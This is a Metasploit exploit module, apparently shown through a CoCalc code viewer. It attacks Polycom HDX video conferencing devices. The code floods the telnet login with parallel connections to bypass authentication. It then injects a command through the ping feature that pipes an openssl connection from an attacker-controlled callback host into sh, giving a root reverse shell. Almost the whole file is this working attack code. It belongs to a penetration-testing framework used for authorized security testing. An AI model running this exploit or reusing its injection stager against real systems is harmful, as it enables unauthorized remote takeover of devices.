CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Polycom Command Shell Authorization Bypass',
16
'Alias' => 'polycom_hdx_auth_bypass',
17
'Author' =>
18
[
19
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
20
'h00die <[email protected]>', # submission/cleanup
21
],
22
'DisclosureDate' => '2013-01-18',
23
'Description' => %q(
24
The login component of the Polycom Command Shell on Polycom HDX
25
video endpoints, running software versions 3.0.5 and earlier,
26
is vulnerable to an authorization bypass when simultaneous
27
connections are made to the service, allowing remote network
28
attackers to gain access to a sandboxed telnet prompt without
29
authentication. Versions prior to 3.0.4 contain OS command
30
injection in the ping command which can be used to execute
31
arbitrary commands as root.
32
),
33
'License' => MSF_LICENSE,
34
'References' =>
35
[
36
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
37
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
38
[ 'EDB', '24494']
39
],
40
'Platform' => 'unix',
41
'Arch' => ARCH_CMD,
42
'Privileged' => true,
43
'Targets' => [ [ "Universal", {} ] ],
44
'Payload' =>
45
{
46
'Space' => 8000,
47
'DisableNops' => true,
48
'Compat' => { 'PayloadType' => 'cmd' }
49
},
50
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
51
'DefaultTarget' => 0
52
)
53
)
54
55
register_options(
56
[
57
Opt::RHOST(),
58
Opt::RPORT(23),
59
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
60
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
61
], self.class
62
)
63
register_advanced_options(
64
[
65
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
66
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
67
], self.class
68
)
69
end
70
71
def check
72
connect
73
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
74
Rex.sleep(1)
75
res = sock.get_once
76
disconnect
77
78
if !res && !res.empty?
79
return Exploit::CheckCode::Safe
80
end
81
82
if res =~ /Welcome to ViewStation/
83
return Exploit::CheckCode::Appears
84
end
85
86
Exploit::CheckCode::Safe
87
end
88
89
def exploit
90
# Keep track of results (successful connections)
91
results = []
92
93
# Random string for password
94
password = Rex::Text.rand_text_alpha(rand(5) + 1)
95
96
# Threaded login checker
97
max_threads = datastore['THREADS']
98
cur_threads = []
99
100
# Try up to 100 times just to be sure
101
queue = [*(1..datastore['MAX_CONNECTIONS'])]
102
103
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
104
until queue.empty?
105
while cur_threads.length < max_threads
106
107
# We can stop if we get a valid login
108
break unless results.empty?
109
110
# keep track of how many attempts we've made
111
item = queue.shift
112
113
# We can stop if we reach max tries
114
break unless item
115
116
t = Thread.new(item) do |count|
117
sock = connect
118
sock.put(password + "\n")
119
res = sock.get_once
120
121
until res.empty?
122
break unless results.empty?
123
124
# Post-login Polycom banner means success
125
if res =~ /Polycom/
126
results << sock
127
break
128
# bind error indicates bypass is working
129
elsif res =~ /bind/
130
sock.put(password + "\n")
131
# Login error means we need to disconnect
132
elsif res =~ /failed/
133
break
134
# To many connections means we need to disconnect
135
elsif res =~ /Error/
136
break
137
end
138
res = sock.get_once
139
end
140
end
141
142
cur_threads << t
143
end
144
145
# We can stop if we get a valid login
146
break unless results.empty?
147
148
# Add to a list of dead threads if we're finished
149
cur_threads.each_index do |ti|
150
t = cur_threads[ti]
151
unless t.alive?
152
cur_threads[ti] = nil
153
end
154
end
155
156
# Remove any dead threads from the set
157
cur_threads.delete(nil)
158
159
Rex.sleep(0.25)
160
end
161
162
# Clean up any remaining threads
163
cur_threads.each { |sock| sock.kill }
164
165
if !results.empty?
166
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
167
do_payload(results[0])
168
else
169
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
170
end
171
end
172
173
def do_payload(sock)
174
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
175
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
176
177
# Start a listener
178
start_listener(true)
179
180
# Figure out the port we picked
181
cbport = self.service.getsockname[2]
182
183
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
184
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
185
sock.put(cmd)
186
187
# Give time for our command to be queued and executed
188
1.upto(5) do
189
Rex.sleep(1)
190
break if session_created?
191
end
192
end
193
194
def stage_final_payload(cli)
195
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
196
cli.put(payload.encoded + "\n")
197
end
198
199
def start_listener(ssl = false)
200
comm = datastore['ListenerComm']
201
if comm == 'local'
202
comm = ::Rex::Socket::Comm::Local
203
else
204
comm = nil
205
end
206
207
self.service = Rex::Socket::TcpServer.create(
208
'LocalPort' => datastore['CBPORT'],
209
'SSL' => ssl,
210
'SSLCert' => datastore['SSLCert'],
211
'Comm' => comm,
212
'Context' =>
213
{
214
'Msf' => framework,
215
'MsfExploit' => self
216
}
217
)
218
219
self.service.on_client_connect_proc = proc { |client|
220
stage_final_payload(client)
221
}
222
223
# Start the listening service
224
self.service.start
225
end
226
227
# Shut down any running services
228
def cleanup
229
super
230
if self.service
231
print_status("Shutting down payload stager listener...")
232
begin
233
self.service.deref if self.service.is_a?(Rex::Service)
234
if self.service.is_a?(Rex::Socket)
235
self.service.close
236
self.service.stop
237
end
238
self.service = nil
239
rescue ::Exception
240
end
241
end
242
end
243
244
# Accessor for our TCP payload stager
245
attr_accessor :service
246
end
247
248